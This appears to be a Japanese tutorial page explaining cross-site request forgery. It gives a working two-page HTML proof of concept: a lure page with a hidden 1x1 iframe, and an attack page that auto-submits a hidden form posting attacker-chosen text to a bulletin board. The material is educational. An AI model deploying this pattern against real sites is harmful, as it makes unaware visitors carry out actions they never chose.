クロスサイトリクエストフォージェリ(Cross site request forgeries)
掲示板に意図しない書き込みをさせられる
オンラインショップで買い物をさせられる
ルーターや無線LAN等の情報機器の設定を勝手に変更される
概要
(1)攻撃者が誘導用のページを用意する
(2)誘導用のページを閲覧する
(3)攻撃用ページにリクエストが送信され、攻撃者の意図した操作が行われる
掲示板への書き込みサンプルを挙げておきます
誘導用のページとして用意する
<!DOCTYPE html>
<html lang=”ja”>
<head>
<title>誘導用のページ</title>
</head>
<body>
<p>ようこそいらっしゃいました。</p>
<iframe width=”1″ height=”1″ src=”attack.html”></iframe>
</body>
</html>
攻撃用のページとして用意する
<!DOCTYPE html>
<html lang=”ja”>
<head>
<title>攻撃用のページ</title>
</head>
<body onload=”document.attackform.submit();”>
<form name=”attackform” method=”post” action=”http://example.com/bbs/register.cgi”>
<input type=”hidden” name=”title” value=”攻撃者が指定した題名”>
<input type=”hidden” name=”article” value=”攻撃者が指定した本文”>
<input type=”submit” value=”送信”>
</form>
</body>
</html>
仕組みの説明
・最初にアクセスされた誘導用ページのインラインフレーム内で
攻撃用ページが呼び出される
縦1 ピクセル、横1ピクセルのインラインフレーム内で行われるため、被害者は気が付かない
・攻撃用ページのonload属性により、ページが読込まれるのと同時に
掲示板への書き込みフォームの送信ボタンが自動的に押される
・フォームで指定された文言で掲示板に書き込みが行われる
最初に誘導用ページにアクセスした人が意図しないうちに
意図しない内容で掲示板に書き込みされることになる
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